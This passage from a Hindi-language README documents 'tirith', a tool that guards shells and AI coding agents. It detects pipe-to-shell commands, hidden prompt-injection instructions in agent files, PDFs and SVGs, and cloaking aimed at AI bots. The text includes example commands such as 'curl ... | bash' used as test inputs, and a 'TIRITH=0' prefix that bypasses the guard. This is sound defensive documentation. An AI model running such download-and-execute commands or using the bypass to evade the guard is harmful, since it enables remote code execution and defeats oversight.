- **HTML/Markdown टिप्पणियाँ**: प्रॉम्प्ट इंजेक्शन वाक्यांश (उच्च), `rm -rf` या `curl|bash` जैसे विनाशकारी कमांड (मध्यम), निर्देश छिपाने वाली लंबी टिप्पणियाँ (निम्न)
- **PDF छिपा टेक्स्ट**: सब-पिक्सेल रेंडर किया गया टेक्स्ट (font-size < 1px) जो पाठकों के लिए अदृश्य है लेकिन LLMs द्वारा पार्स करने योग्य है
### AI-प्रासंगिक फ़ाइल छिपी-सामग्री स्कैनिंग
`tirith scan` उन फ़ाइल प्रकारों का भी निरीक्षण करता है जिन्हें AI कोडिंग एजेंट (या एक रेंडरर) पढ़ता है और उन पर कार्य करता है, ऐसी सामग्री की तलाश करता है जो **किसी मानव समीक्षक के पास से तस्करी कर लाई गई हो**. एक सामान्य नोटबुक, दृश्य निर्देशों वाली एक साधारण `CLAUDE.md` फ़ाइल, और एक सादा SVG छवि साफ़ रहती है; केवल छिपी/तस्करी की गई सामग्री ही फ़्लैग होती है।
- **Jupyter नोटबुक** (`*.ipynb`), सेल स्रोत में अदृश्य / bidi / शून्य-चौड़ाई वाले वर्ण, स्रोत में एम्बेडेड बेस64-एन्कोडेड ब्लॉब, रेंडर किए गए दृश्य से छिपा हुआ सेल (`metadata.jupyter.source_hidden` / `hide_input` टैग), और सेल *आउटपुट* जो अदृश्य वर्ण या सक्रिय/छिपा HTML ले जाते हैं
- **AI एजेंट-निर्देश फ़ाइलें** (`CLAUDE.md`, `AGENTS.md`, `.cursorrules`, और इसी तरह की), केवल *छिपे* निर्देश: HTML टिप्पणी के अंदर एक निर्देश (रेंडर किए गए Markdown में अदृश्य) या एक दृष्टिगत रूप से छिपा HTML तत्व। ये फ़ाइलें वैध रूप से दृश्य निर्देश रखती हैं, इसलिए सामान्य दृश्य निर्देश कभी फ़्लैग नहीं होते
- **SVG छवियाँ** (`*.svg`), एक एम्बेडेड `<script>`, एक इनलाइन `on*` इवेंट हैंडलर, एक `javascript:` URI, एक रिमोट `xlink:href` / `href`, या एक XXE बाहरी-एंटिटी घोषणा
### Cloaking का पता लगाना
`tirith fetch` 6 user-agents (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl) में सर्वर प्रतिक्रियाओं की तुलना करता है ताकि पता लगाया जा सके कि सर्वर AI बॉट्स बनाम ब्राउज़रों को अलग सामग्री परोसते हैं या नहीं।
---
## परिचालन संदर्भ और वर्कस्टेशन गार्ड
एकल कमांड के अलावा, कई कमांड समूह आपके परिचालन संदर्भ और वर्कस्टेशन स्थिति तक गेट का विस्तार करते हैं। जो हॉट पथ को छूते हैं वे ऑप्ट-इन (एक नीति फ़्लैग) हैं; बाकी ऑन डिमांड चलते हैं।
**परिचालन संदर्भ** (`tirith context`, `ssh`, `iac`, `sudo`). अपने प्रोडक्शन क्लाउड / Kubernetes संदर्भों और SSH होस्ट को एक बार लेबल करें, और tirith उन चीज़ों को बढ़ाता है जो मायने रखती हैं: एक लेबल किए गए प्रोडक्शन संदर्भ के विरुद्ध एक विनाशकारी कमांड, एक लेबल किए गए प्रोडक्शन होस्ट के लिए SSH, बिना किसी मेल खाने वाली सहेजी गई योजना के Terraform / Pulumi / OpenTofu `apply`, या बिना तर्कसंगत सत्र विंडो के sudo एस्केलेशन। लेबल `~/.config/tirith/context-labels.yaml` और `ssh-host-labels.yaml` (या `.tirith/` के अंतर्गत रिपो-स्कोप्ड) में रहते हैं।
**वर्कस्टेशन स्वच्छता** (`tirith hygiene`, `persistence`, `aliases`, `env`, `exec`, `path`, `hooks`). ढीली-अनुमति वाली क्रेडेंशियल फ़ाइलों और सादे-पाठ टोकन (`~/.ssh`, `~/.aws`, `~/.kube`, `.npmrc`, `.pypirc`) के लिए स्कैन करें, एक हमलावर द्वारा उपयोग किए जाने वाले स्थायित्व फ़ुटहोल्ड (शेल rc, `authorized_keys`, crontab, LaunchAgents / systemd-user यूनिट्स, git `core.hooksPath`) को डिफ़ करें, उन उपनामों को फ़्लैग करें जो महत्वपूर्ण कमांड को छिपाते हैं या क्रेडेंशियल पढ़ते हैं, हाईजैक ऑर्डरिंग के लिए `$PATH` का ऑडिट करें, और बाइनरी की उत्पत्ति (पैकेज स्वामी, कोड हस्ताक्षर, क्या यह सिस्टम कमांड को छिपाता है) की रिपोर्ट करें।
**ब्लास्ट त्रिज्या और अलगाव** (`tirith preview`, `watch`, `temp-run`, `taint`, `intend`, `baseline`). किसी विनाशकारी कमांड को चलाने से पहले उसके फ़ाइलसिस्टम प्रभाव का पूर्वावलोकन करें, कमांड ने बाद में वास्तव में क्या बदला, इसका अंतर देखें, एक अविश्वसनीय कमांड को एक डिस्पोजेबल निर्देशिका में चलाएं, और जोखिमपूर्ण स्रोतों से डाउनलोड की गई फ़ाइलों को ट्रैक करें ताकि बाद में उनमें से किसी को निष्पादित करने पर एक निष्कर्ष फ़्लैग हो। `temp-run` केवल कार्यशील निर्देशिका को बदलता है; यह फ़ाइल अलगाव है, सैंडबॉक्स नहीं।
## विश्वास, प्रमाणन और घटना प्रतिक्रिया
- **कमांड प्रमाणन** (`tirith command-card`) एक ज्ञात-अच्छे कमांड को ed25519 कुंजी से हस्ताक्षरित करता है; एक विश्वसनीय कार्ड जो अब कमांड से मेल नहीं खाता, उच्च फ़्लैग करता है।
- **रिपो कमांड मैनिफेस्ट** (`tirith commands`) एक `.tirith/commands.yaml` अनुमति सूची है जो स्वीकृत कमांड के लिए अज्ञात-कमांड नोट को शांत करती है और केवल-एलिवेशन `dangerous[]` सूची जोड़ती है (यह फैसले को कड़ा कर सकता है, कभी कमजोर नहीं करता)।
- **हनीटोकन** (`tirith canary`) स्पष्ट रूप से सिंथेटिक कैनरी टोकन लगाते हैं; किसी भी जांचे गए कमांड, पेस्ट या टूल आउटपुट में स्पर्श उच्च फ़्लैग करता है। पता लगाना एक स्थानीय स्टोर लुकअप है, आकार मिलान नहीं।
- **गुप्त रोटेशन** (`tirith secret`) आपके ऑडिट लॉग से हाल के क्रेडेंशियल निष्कर्ष पढ़ता है और 11 प्रदाताओं के लिए प्रदाता-विशिष्ट रोटेट / रिवोक चरण प्रिंट करता है। यह स्वयं कभी कुछ भी रोटेट नहीं करता है और कोई नेटवर्क कॉल नहीं करता है।
- **घटना मोड** (`tirith incident`) एक "हमले के अंतर्गत" स्थिति घोषित करता है: यह `fail_mode: closed` को बाध्य करता है, `TIRITH=0` बाईपास को अक्षम करता है, और क्रेडेंशियल-स्वीप, डीकोड-एक्ज़ीक्यूट और संदिग्ध-बाइनरी नियमों को तब तक ऊंचा करता है जब तक आप इसे रोक नहीं देते।
## आउटपुट, पेस्ट और साझाकरण सुरक्षा
- **आउटपुट-दिशा रक्षा** (`tirith view`, `tirith output`, `gateway run --filter-output`, `mcp-server --sanitize-tool-output`) कमांड और MCP टूल आउटपुट में टर्मिनल-धोखा एस्केप को निष्क्रिय करता है: OSC 52 क्लिपबोर्ड राइट, नकली प्रॉम्प्ट, OSC 8 हाइपरलिंक बेमेल, और शीर्षक / स्क्रीन-क्लियर हेरफेर। यह प्रॉम्प्ट इंजेक्शन (कच्चा और डीओबफ़स्केटेड) और डेटा-एक्सफ़िल्ट्रेशन बीकन के लिए भी आउटपुट स्कैन करता है। `injection_seeds_custom` के साथ कस्टम सीड जोड़ें, और `mcp_redact_injection` के साथ केवल-इंजेक्शन MCP ब्लॉक को चेतावनी में रिडैक्ट करने का विकल्प चुनें (पूरे आउटपुट को ब्लॉक करने के बजाय)।
- **दर्शक-जागरूक रिडक्शन** (`tirith share`, `tirith redact`, `tirith logs`) GitHub इश्यू, Slack, LLM या सार्वजनिक पेस्ट में पेस्ट करने से पहले रहस्य और ग्राहक / टेनेंट आईडी हटा देता है।
- **पेस्ट उत्पत्ति** (`tirith paste --with-source`, `tirith browser`). संगत Chrome नेटिव-मैसेजिंग होस्ट स्थापित होने पर, tirith एक पेस्ट किए गए कमांड को उसके स्रोत पृष्ठ से संबद्ध करता है और एक ऐसे पेस्ट को फ़्लैग करता है जिसका स्रोत होस्ट उस स्थान से भिन्न होता है जहाँ कमांड चलता है।
---
## स्थापित करें
### macOS
**Homebrew:**```bash
brew install tirith
Debian / Ubuntu (.deb):
GitHub Releases से डाउनलोड करें, फिर:```bash sudo dpkg -i tirith_*_amd64.deb
**Fedora / RHEL / CentOS 9+ (.rpm):**
से डाउनलोड करें [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), फिर:```bash
sudo dnf install ./tirith-*.rpm
Arch Linux (AUR):```bash yay -S tirith
**Nix:**```bash
nix profile install nixpkgs#tirith # from nixpkgs
nix profile install github:sheeki03/tirith # from upstream flake
# or try without installing: nix run github:sheeki03/tirith -- --version
Android/Termux Bionic libc पर चलता है, glibc पर नहीं, इसलिए aarch64-unknown-linux-gnu
बिल्ड वहाँ नहीं चल सकता, उसे glibc के डायनामिक लिंकर की आवश्यकता होती है। इसके बजाय musl बिल्ड का उपयोग करें:
tirith-aarch64-unknown-linux-musl.tar.gz स्थैतिक रूप से लिंक किया गया है और बिना किसी बाहरी libc के Termux पर चलता है।```bash
pkg install curl tar
curl -fsSL -o tirith.tar.gz
https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version
फिर शेल हुक को `~/.bashrc` में सक्रिय करें (Termux का डिफ़ॉल्ट शेल bash है):```bash
eval "$(tirith init --shell bash)" # add to ~/.bashrc
[!NOTE] टर्मक्स का समर्थन सर्वोत्तम प्रयास (best-effort) है। musl आर्टिफैक्ट CI में बनाया और स्मोक-टेस्ट किया जाता है, लेकिन tirith का अभी तक किसी वास्तविक Android डिवाइस पर निरंतर परीक्षण नहीं किया गया है। यदि Termux पर कोई हुक गलत व्यवहार करता है, तो कृपया
tirith doctorआउटपुट के साथ एक issue खोलें।
सभी मुख्य सुविधाएं Windows पर काम करती हैं, जिनमें पहचान, स्कैनिंग, वेबहुक, नीति प्रबंधन और ऑडिट अपलोड शामिल हैं। शेल हुक PowerShell को सपोर्ट करते हैं। डेमॉन मोड और tirith setup फिलहाल केवल यूनिक्स के लिए हैं।
Scoop:```powershell scoop bucket add tirith https://github.com/sheeki03/scoop-tirith scoop install tirith
**Chocolatey** (समीक्षा के तहत, अनुमोदन की प्रतीक्षा):```powershell
choco install tirith
npm:```bash npm install -g tirith
**Cargo:**```bash
cargo install tirith
Mise (आधिकारिक रजिस्ट्री):```bash mise use -g tirith
**asdf:**```bash
asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest
Docker:```bash docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"
### सक्रिय करें
अपने शेल प्रोफ़ाइल में जोड़ें (`.zshrc`, `.bashrc`, या `config.fish`):```bash
eval "$(tirith init --shell zsh)" # in ~/.zshrc
eval "$(tirith init --shell bash)" # in ~/.bashrc
tirith init --shell fish | source # in ~/.config/fish/config.fish
Bash, जब एक क्षमता स्व-परीक्षण यह साबित कर देता है कि यह आपके bash के लिए काम करता है, तो enter मोड का उपयोग करता है, अन्यथा preexec का उपयोग करता है। tirith setup / tirith doctor स्व-परीक्षण चलाते हैं; शेल हुक स्टार्टअप पर अपने कैश्ड निर्णय को पढ़ता है। मोड, स्व-परीक्षण और SSH फ़ॉलबैक व्यवहार पर विवरण के लिए troubleshooting देखें।
[!WARNING] Bash का preexec मोड चेतावनी देता है लेकिन स्थान पर रोक नहीं सकता। वास्तविक रोकथाम के लिए
TIRITH_BASH_PREEXEC_ENFORCE=1सेट करें (shopt -s extdebugके माध्यम से)। प्रवर्तन सक्रिय होने से इनकार करता है जबHISTCONTROLमेंignorespace/ignoredups/ignorebothहोता है, कोईHISTIGNOREसेट है, याset +o historyसक्रिय है, ये ब्लॉक को रेसी बनाते हैं।
bash पर गारंटीकृत लाइन-स्तरीय रोकथाम के लिए, tirith doctor --simulate-enter चलाएँ, यदि डिलीवरी काम करती है, तो enter मोड सक्षम होता है। जहाँ यह काम नहीं करता, वहाँ preexec enforce का उपयोग करें: "जब संभव हो तो रोकता है; जब नहीं रोक सकता तो ईमानदारी से बताता है।"
Nix / Home-Manager: tirith आपके $PATH में होना चाहिए, शेल हुक रनटाइम पर tirith को नाम से कॉल करते हैं। इसे केवल initContent में जोड़ना पर्याप्त नहीं है।```nix
home.packages = [ pkgs.tirith ];
programs.zsh.initContent = '' eval "$(tirith init --shell zsh)" '';
### tirith को अद्यतन और सत्यापन करना
tirith अपनी अखंडता का सत्यापन और स्वयं को अद्यतन कर सकता है। दोनों कमांड केवल तब नेटवर्क तक पहुँचते हैं जब आप उन्हें चलाते हैं।```bash
tirith verify-self # is this binary the genuine, unmodified release?
tirith update # update to the latest release
tirith version --provenance # version, build info, install method, verification
tirith verify-self यह पुष्टि करता है कि चल रहा बाइनरी एक आधिकारिक रिलीज़ से वास्तविक, अपरिवर्तित बाइनरी है। यह आपके संस्करण और लक्ष्य के लिए रिलीज़ आर्काइव को पुनः डाउनलोड करता है, हस्ताक्षरित रिलीज़ checksums.txt के विरुद्ध इसका सत्यापन करता है, cosign स्थापित होने पर checksums.txt पर cosign हस्ताक्षर का सत्यापन करता है, और पुष्टि करता है कि चल रहा बाइनरी आधिकारिक बाइनरी के साथ बाइट-समान है। यदि पूर्ण सत्यापन संभव नहीं है (जैसे स्थानीय डेव बिल्ड, नेटवर्क नहीं, या एक इंस्टॉल जिसे tirith पहचान नहीं सकता), तो यह ईमानदारी से कहता है, बजाय झूठा "सत्यापित" रिपोर्ट करने के। cosign की अनुपस्थिति में भी चेकसम सत्यापित होता है (इसे verified-checksum-only के रूप में रिपोर्ट किया जाता है); पूर्ण हस्ताक्षर सत्यापन के लिए cosign स्थापित करें (verified-signed).
tirith update पैकेज-मैनेजर-जागरूक है:
brew upgrade tirith। पैकेज मैनेजर के माध्यम से अपडेट करने से उसका डेटाबेस सुसंगत रहता है।install.sh टारबॉल, या एक स्टैंडअलोन बाइनरी) को स्थान पर अपडेट किया जाता है: tirith नवीनतम रिलीज़ डाउनलोड करता है, इसका सत्यापन करता है, फिर परमाणु रूप से बाइनरी को स्वैप करता है, पिछले बाइनरी को tirith.tirith-previous साइडकार के रूप में रखता है। cosign हस्ताक्षर डिफ़ॉल्ट रूप से सत्यापित किया जाता है: यदि इसे सत्यापित नहीं किया जा सकता (cosign अनुपलब्ध, या रिलीज़ ने कोई हस्ताक्षर प्रकाशित नहीं किया) तो अपडेट रद्द हो जाता है। केवल चेकसम-सत्यापन पर वापस जाने के लिए --allow-unsigned पास करें; चेकसम बेमेल हमेशा अपडेट को रद्द करता है, चाहे कुछ भी हो। tirith update --rollback पिछली बाइनरी पर वापस ले जाता है; --dry-run बिना कुछ बदले दिखाता है कि क्या होगा।[!NOTE] इंस्टॉल स्क्रिप्ट (
scripts/install.shऔर Windowsinstall.ps1) भी डिफ़ॉल्ट रूप से रिलीज़ के cosign हस्ताक्षर को सत्यापित करती हैं और यदिcosignअनुपलब्ध है या हस्ताक्षर सत्यापित नहीं किया जा सकता तो रद्द हो जाती हैं। पहलेcosignस्थापित करें, या केवल चेकसम-सत्यापन के साथ इंस्टॉल करने के लिएTIRITH_ALLOW_UNSIGNED=1सेट करें (अनुशंसित नहीं)। चेकसम या हस्ताक्षर बेमेल हमेशा इस ऑप्ट-आउट की परवाह किए बिना रद्द हो जाता है।
Oh-My-Zsh:```bash
git clone https://github.com/sheeki03/ohmyzsh-tirith
${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith
plugins=(... tirith)
### एआई एजेंट एकीकरण
एक-कमांड कॉन्फ़िगरेशन के लिए `tirith setup <tool>` का उपयोग करें:```bash
tirith setup claude-code --with-mcp # Claude Code + MCP server
tirith setup codex # OpenAI Codex
tirith setup copilot-cli # GitHub Copilot CLI (run from repo root)
tirith setup cursor # Cursor
tirith setup gemini-cli --with-mcp # Gemini CLI + MCP server
tirith setup kiro # Kiro CLI (formerly Amazon Q)
tirith setup pi-cli # Pi CLI
tirith setup vscode # VS Code
tirith setup windsurf # Windsurf
मैन्युअल कॉन्फ़िगरेशन के लिए, प्रति-उपकरण गाइड के लिए mcp/clients/ देखें।
GitHub Action SARIF अपलोड के साथ GitHub Security टैब पर:```yaml
एक **pre-commit hook** के रूप में भी उपलब्ध: इस रिपॉजिटरी में `.pre-commit-hooks.yaml` देखें।
Scan `--include`, `--exclude`, `--profile` (नीति से नामित प्रोफाइल लोड करता है), और `--ignore` फ़िल्टर का समर्थन करता है जो लक्षित CI स्कैनिंग के लिए हैं।
### नियम दस्तावेज़ीकरण```bash
tirith explain --rule pipe_to_interpreter # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal # all rules in a category
प्रत्येक खोज में एक नियम-वार सुधार होता है: एक छोटी, सटीक "इसे सुरक्षित कैसे बनाएं" पंक्ति, जो प्रत्येक खोज के नीचे (Fix:) और --format json में दिखाई जाती है।
tirith explain --rule <id> --fix उस सुधार को स्वतंत्र रूप से प्रिंट करता है।
जब कोई कमांड ब्लॉक या चेतावनी दी जाती है, tirith check --suggest अतिरिक्त रूप से वास्तविक कमांड का एक ठोस सुरक्षित पुनर्लेखन प्रिंट करता है, लेकिन केवल वहां जहां परिवर्तन वास्तव में सुरक्षित और सही हो:```bash
tirith check --suggest -- 'curl https://example-cli.dev/i.sh | bash'
यह `pipe-to-shell` को `download-review-run` में पुनर्लिखित करता है, असुरक्षित-TLS फ़्लैग्स (`-k` / `--insecure` / `--no-check-certificate`) को हटाता है, और सादे `http://` को `https://` में बदलता है। ऐसे निष्कर्षों के लिए जिनका कोई सुरक्षित यांत्रिक पुनर्लेखन नहीं है (homograph hostnames, archive-extract targets, …), यह स्पष्ट रूप से यह बताता है और इसके बजाय उपचार दिखाता है, यह कभी भी झूठा सुझाव नहीं देता है। फ़्लैग सलाहकारी है: यह न तो निर्णय को बदलता है और न ही निकास कोड को।
### डेमॉन मोड (Unix)
उप-मिलीसेकंड विलंबता और नेटवर्क-जागरूक संवर्धन (छोटे URL का समाधान, DNS ब्लॉकलिस्ट जाँच) के लिए वैकल्पिक पृष्ठभूमि प्रक्रिया:```bash
tirith daemon start # tirith check auto-delegates when running
tirith daemon stop
[!NOTE] डेमॉन मोड आज केवल Unix पर उपलब्ध है।
रोज़मर्रा के कमांड:
यह दैनिक उपयोग का सेट है। tirith कुल 74 कमांड्स को 8 समूहों में भेजता है: स्कैन और विश्लेषण, स्थिति और स्वास्थ्य, सेटअप, नीति और विश्वास, शेल और सिस्टम गार्ड (hygiene, persistence, exec, path, context, ssh, sudo, iac), आपूर्ति-श्रृंखला, AI-एजेंट एकीकरण, और फोरेंसिक और प्रतिक्रिया। वर्गीकृत सूची के लिए tirith --help चलाएँ, या पूर्ण कमांड संदर्भ देखें। वैश्विक --quiet फ़्लैग (या TIRITH_QUIET=1) त्रुटियों, फैसलों या सुरक्षा सूचनाओं को छिपाए बिना सलाहकार आउटपुट को शांत करता है।
paste, score, diff, और why शून्य
नेटवर्क कॉल करते हैं। tirith check (शेल हुक द्वारा उपयोग किए जाने वाले --approval-check पथ
सहित) भी स्थानीय रूप से विश्लेषण करता है, लेकिन पहले एक आवधिक पृष्ठभूमि
खतरा-डीबी रिफ्रेश (नीचे देखें) ट्रिगर करता है, इसलिए यह सख्ती से ऑफ़लाइन नहीं है। tirith check --offline (या TIRITH_OFFLINE=1) रिफ्रेश को दबा देता है और इसे पूरी तरह
स्थानीय रखता है।tirith check और शेल हुक
डिफ़ॉल्ट रूप से हर 24 घंटे में अधिकतम एक बार एक सस्ती, अलग पृष्ठभूमि जाँच
ट्रिगर करते हैं (threat_intel.auto_update_hours), हस्ताक्षरित डेटाबेस को ताज़ा रखने के लिए।
यह कभी भी कमांड को ब्लॉक नहीं करता। इसे अक्षम करने के लिए auto_update_hours: 0 सेट करें, या
प्रति आह्वान इसे दबाने के लिए --offline / का उपयोग करें।
इसे ट्रिगर करता; यह सीधे स्थानीय इंजन से गुजरता है।tirith policy init # creates .tirith/policy.yaml in your repo tirith policy validate # check for syntax/schema errors tirith policy test "curl https://example.com | bash" # dry-run against policy
`tirith policy init` `--template <name>` को एक क्यूरेटेड स्टार्टर पॉलिसी के लिए स्वीकार करता है:```bash
tirith policy init --template individual # solo developer defaults (alias: personal)
tirith policy init --template ci-strict # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer # reviewing contributor-controllable risk
tirith policy init --template startup # small-team balance
tirith policy init --template enterprise # strict, with an active package_policy block
tirith policy init --template mcp-strict # locked-down MCP server and tool trust
प्रत्येक टेम्पलेट एक सुव्यवस्थित टिप्पणी सहित, स्कीमा-मान्य नीति है जिसे आप आगे संपादित कर सकते हैं।
बिना --template के, tirith policy init पूर्ण डिफ़ॉल्ट नीति लिखता है।
Tirith एक YAML नीति फ़ाइल का उपयोग करता है। खोज क्रम:
.tirith/policy.yaml वर्तमान निर्देशिका में (रिपोजिटरी रूट तक ऊपर जाता है)allowlist:
blocklist:
severity_overrides: docker_untrusted_registry: CRITICAL
scan: ignore_patterns: - "node_modules" - "target" profiles: ci: include: [".md", ".json", ".yaml", ".claude/"] fail_on: high
जब आप किसी स्रोत पर एक नियम के लिए भरोसा करते हैं लेकिन उसे वैश्विक रूप से अनुमतिसूची में नहीं डालना चाहते, तो नियम-स्कोप्ड दमन के लिए `allowlist_rules` का उपयोग करें:```yaml
allowlist_rules:
- rule_id: curl_pipe_shell
patterns:
- "get.docker.com"
tirith trust हाथ से पॉलिसी YAML संपादित किए बिना विश्वसनीय पैटर्न का प्रबंधन करता है। ट्रस्ट डिफ़ॉल्ट रूप से संकीर्ण और समाप्त होने वाला है: सबसे विशिष्ट चीज़ पर भरोसा करें जो काम करती है, और यदि आप ऑप्ट आउट नहीं करते हैं तो प्रविष्टियाँ 30 दिनों के बाद समाप्त हो जाती हैं।```bash
tirith trust add raw.githubusercontent.com/org/repo/main/get.sh
tirith trust add get.docker.com --broad --rule curl_pipe_shell
tirith trust add example.com --broad --permanent --reason "internal mirror, OPS-42"
tirith trust list # scope class per entry; '!' marks broad ones tirith trust explain example.com # what it covers, when it expires, why added tirith trust diff # what changed in the trust set tirith trust gc --expired # drop expired entries
प्रत्येक प्रविष्टि का **दायरा** `exact`, `substring`, `domain`, `wildcard`, या `bare-TLD` के रूप में वर्गीकृत किया गया है। एक व्यापक दायरा (`domain` / `wildcard` / `bare-TLD`) के लिए `--broad` आवश्यक है, इसलिए व्यापक अनुमति हमेशा एक जानबूझकर विकल्प है। सभी उप-कमांड `--format json` का समर्थन करते हैं। tirith के पुराने संस्करणों द्वारा लिखे गए ट्रस्ट स्टोर बिना किसी बदलाव के काम करते रहते हैं, बिना TTL वाली प्रविष्टि को स्थायी माना जाता है।
### वृद्धि और कार्रवाई ओवरराइड
चेतावनियाँ प्रति सत्र ट्रैक की जाती हैं। यदि एक ही नियम बार-बार सक्रिय होता है, तो वृद्धि नियम इसे ब्लॉक में अपग्रेड कर सकते हैं:```yaml
action_overrides:
shortened_url: block # always block, regardless of default severity
escalation:
- trigger: repeat_count
rule_ids: ["*"] # any rule
threshold: 5
window_minutes: 60
action: block
- trigger: multi_medium
min_findings: 3 # 3+ medium findings on one command → block
action: block
किसी भी समय संचित चेतावनियों की समीक्षा करें:```bash tirith warnings # table of session warnings tirith warnings --format json # structured output tirith warnings --clear # clear after viewing
शेल से बाहर निकलने पर, एक-पंक्ति सारांश मुद्रित किया जाता है यदि सत्र के दौरान कोई चेतावनी दर्ज की गई थी।
अधिक उदाहरण [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md) में।
### कस्टम डिटेक्शन नियम
अपने स्वयं के नियम `.tirith/policy.yaml` में `custom_rules:` के अंतर्गत लिखें। प्रत्येक नियम या तो एक `pattern:` (regex) या एक `when:` सिमेंटिक प्रेडिकेट ट्री है, साथ ही एक `context:` (`exec`, `paste`, या `file`), एक `severity:`, और एक `title:`।```yaml
custom_rules:
- id: no_internal_pastebin
context: exec
severity: high
title: "Internal pastebin is not allowed for piped execution"
when:
all:
- command.has_pipeline_to: [bash, sh]
- url.host_matches: "paste\\.corp\\.example$"
when: DSL all: / any: / not: जैसे पूर्वानुमानों को जोड़ता है: command.has_pipeline_to, command.uses_sudo, url.host, url.host_matches, url.reputation, url.domain_not_in, package.ecosystem, package.name_matches, package.reputation, और file.path_matches। प्रतिष्ठा पूर्वानुमान स्थानीय हस्ताक्षरित खतरा डेटाबेस पढ़ते हैं, इसलिए एक कस्टम नियम गर्म पथ पर कोई नेटवर्क कॉल नहीं करता है। कमिट करने से पहले मान्य करें और ड्राई-रन करें:```bash
tirith rule validate # check every custom rule: shape + context coverage
tirith rule test --rule no_internal_pastebin --input "echo hi | bash"
tirith rule explain --rule no_internal_pastebin
### अधिक नीति नियंत्रण
अन्य नीति कुंजियाँ, सभी सुरक्षित डिफ़ॉल्ट के साथ (`tirith policy init` पूरी तरह से टिप्पणी किया गया सेट लिखता है):
- `package_policy:` थ्रेशोल्ड आपूर्ति-श्रृंखला संकेतों को ब्लॉक या चेतावनी निर्णयों में बदलते हैं (`block_typosquat_distance`, `warn_low_downloads_below`, `block_newer_than_days`, `block_not_found`).
- `agent_rules:` `allow:` / `deny:` किसी कमांड के कॉलर उत्पत्ति से मेल खाते हैं (`{ kind, name }`); एक `deny` मिलान ब्लॉक को बाध्य करता है। `scan.trusted_mcp_servers` और `scan.mcp_allowed_tools` विशिष्ट MCP सर्वर और प्रति-सर्वर उपकरण स्वीकार करते हैं।
- ऑप्ट-इन गार्ड, डिफ़ॉल्ट बंद: `env_guard_enabled`, `exec_guard_enabled`, `hooks_guard_enabled`, `baseline_enabled`, साथ ही `iac_require_plan_before_apply`, `sudo_require_reason`, और `allowed_install_domains`।
रेपो-स्कोप्ड `.tirith/policy.yaml` फ़ाइलें केवल कस सकती हैं, कभी ढीली नहीं कर सकतीं: एक रेपो नीति जो अनुमति सूची को चौड़ा करने, गंभीरता कम करने, या गार्ड को अक्षम करने का प्रयास करती है, निष्प्रभावी कर दी जाती है, और `tirith policy effective` दिखाता है कि कौन से फ़ील्ड हटा दिए गए। केवल उपयोगकर्ता-स्तर और संगठन-स्तर (`TIRITH_POLICY_ROOT`) नीतियाँ ही डिफ़ॉल्ट को ढीला कर सकती हैं।
### सख्त चेतावनी मोड
`strict_warn: true` (या CLI पर `--strict-warn`) के साथ, मध्यम-जोखिम वाले निष्कर्ष इंटरैक्टिव टर्मिनलों में चुपचाप चेतावनी देने के बजाय स्पष्ट स्वीकृति के लिए संकेत देते हैं:```
$ curl -sSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]
शेल हुक्स warn-ack प्रोटोकॉल के लिए एग्ज़िट कोड 3 का उपयोग करते हैं। पुराने हुक्स जो एग्ज़िट कोड 3 के बारे में नहीं जानते, वे fail-open व्यवहार में आ जाते हैं।
[!NOTE] एग्ज़िट कोड 3 warn-ack हुक प्रोटोकॉल पथ है, सामान्य प्रत्यक्ष-CLI अनुबंध नहीं। गैर-हुक कॉलर्स को सामान्यतः एग्ज़िट कोड 3 नहीं देखना चाहिए; यदि वे देखते हैं, तो यह संकेत देता है कि स्वीकृति आवश्यक है।
उस दुर्लभ मामले के लिए जब आप ठीक से जानते हैं कि आप क्या कर रहे हैं:```bash TIRITH=0 curl -L https://something.xyz | bash
यह एक मानक शेल प्रति-कमांड उपसर्ग है; वेरिएबल केवल उस एक कमांड के लिए मौजूद होता है और आपके सत्र में बना नहीं रहता। संगठन नीति में `allow_bypass_env: false` के साथ इसे पूरी तरह से अक्षम कर सकते हैं।
> [!CAUTION]
> `TIRITH=0` प्रति-कमांड है। इसे शेल प्रोफाइल, डॉटफ़ाइल्स या CI कॉन्फ़िग में एक्सपोर्ट न करें; स्थायी बाईपास संपूर्ण सुरक्षा मॉडल को विफल कर देता है। यदि आप इसे बार-बार उपयोग कर रहे हैं, तो इसके बजाय अपनी नीति फ़ाइल में `allowlist` में विश्वसनीय स्रोत जोड़ें।
---
## डेटा हैंडलिंग
स्थानीय JSONL ऑडिट लॉग `~/.local/share/tirith/log.jsonl` पर:
- टाइमस्टैम्प, सत्र आईडी, कार्रवाई, नियम आईडी, संशोधित कमांड पूर्वावलोकन
- कवरेज ऑडिटिंग के लिए लागू की गई कार्रवाई के साथ कच्चा डिटेक्शन डेटा (`raw_action`, `raw_rule_ids`) संरक्षित
- सत्र चेतावनी स्थिति `~/.local/state/tirith/sessions/` पर
- **कोई** पूर्ण कमांड, पर्यावरण चर या फ़ाइल सामग्री नहीं
अक्षम करें: `export TIRITH_LOG=0`
---
## दस्तावेज़
- [Command reference](https://github.com/sheeki03/tirith/blob/HEAD/docs/commands.md): प्रत्येक उप-कमांड, श्रेणी के अनुसार समूहित
- [Threat model](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md), tirith किससे बचाता है और किससे नहीं
- [Cookbook](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md), सामान्य सेटअप के लिए नीति उदाहरण
- [Troubleshooting](https://github.com/sheeki03/tirith/blob/HEAD/docs/troubleshooting.md), शेल की खामियाँ, विलंबता, गलत सकारात्मक
- [Compatibility](https://github.com/sheeki03/tirith/blob/HEAD/docs/compatibility.md), स्थिर बनाम प्रायोगिक सतह
- [Security policy](https://github.com/sheeki03/tirith/blob/HEAD/SECURITY.md), भेद्यता रिपोर्टिंग
